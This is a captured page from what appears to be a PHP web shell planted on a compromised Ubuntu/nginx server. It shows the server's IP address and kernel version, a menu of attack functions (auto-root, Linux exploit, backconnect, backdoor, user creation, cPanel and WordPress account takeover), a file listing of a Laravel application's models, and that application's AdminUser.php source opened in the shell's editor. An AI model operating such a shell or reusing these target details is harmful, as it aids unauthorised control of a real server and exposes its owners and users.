Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
ActivityUpdate.php
765
B
-rw-rw-r--
AdminUser.php
1.98
KB
-rw-rw-r--
AdminUserDetail.php
190
B
-rw-rw-r--
Category.php
978
B
-rw-rw-r--
CategoryDetail.php
186
B
-rw-rw-r--
FiscalYear.php
1.51
KB
-rw-rw-r--
Language.php
242
B
-rw-rw-r--
MasterDistrict.php
1.02
KB
-rw-rw-r--
MasterMunicipalitiy.php
1.05
KB
-rw-rw-r--
MasterMunicipalityType.php
302
B
-rw-rw-r--
MasterProvince.php
894
B
-rw-rw-r--
MasterType.php
338
B
-rw-rw-r--
Note.php
567
B
-rw-rw-r--
OTPService.php
143
B
-rw-rw-r--
Office.php
261
B
-rw-rw-r--
SifarisForm.php
1.63
KB
-rw-rw-r--
SifarisReceipt.php
2
KB
-rw-rw-r--
SifarisRecord.php
1.97
KB
-rw-rw-r--
SmsLogOutgoing.php
241
B
-rw-rw-r--
SmsSentLog.php
234
B
-rw-rw-r--
Status.php
328
B
-rw-rw-r--
User.php
1.34
KB
-rw-rw-r--
UserDetail.php
179
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminUser.php
<?php namespace App\Models; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Database\Eloquent\Relations\HasMany; use Rappasoft\LaravelAuthenticationLog\Traits\AuthenticationLoggable; use Spatie\Permission\Traits\HasRoles; class AdminUser extends Authenticatable { use HasRoles, AuthenticationLoggable; protected $table = 'admin_users'; protected $guard = "admin"; protected $fillable = [ 'name', 'email', 'password', 'is_active', 'office_id', 'designation_id' ]; protected $hidden = [ 'password', 'remember_token', ]; protected $appends = ['role']; protected static function boot() { parent::boot(); // updating created_by and updated_by when model is created // static::creating(function ($model) { // if (!$model->isDirty('created_by')) { // $model->created_by = adminUserId(); // } // if (!$model->isDirty('updated_by')) { // $model->updated_by = adminUserId(); // } // }); // // updating updated_by when model is updated // static::updating(function ($model) { // if (!$model->isDirty('updated_by')) { // $model->updated_by = adminUserId(); // } // }); } public function details(): HasMany { return $this->hasMany(AdminUserDetail::class, 'user_id'); } public function creator() { return $this->belongsTo(AdminUser::class, 'created_by'); } public function updater() { return $this->belongsTo(AdminUser::class, 'updated_by'); } public function getRoleAttribute() { return $this->roles()->first(); } public function office() { return $this->belongsTo(Office::class, 'office_id'); } public function designation() { return $this->belongsTo(Category::class, 'designation_id'); } }
Close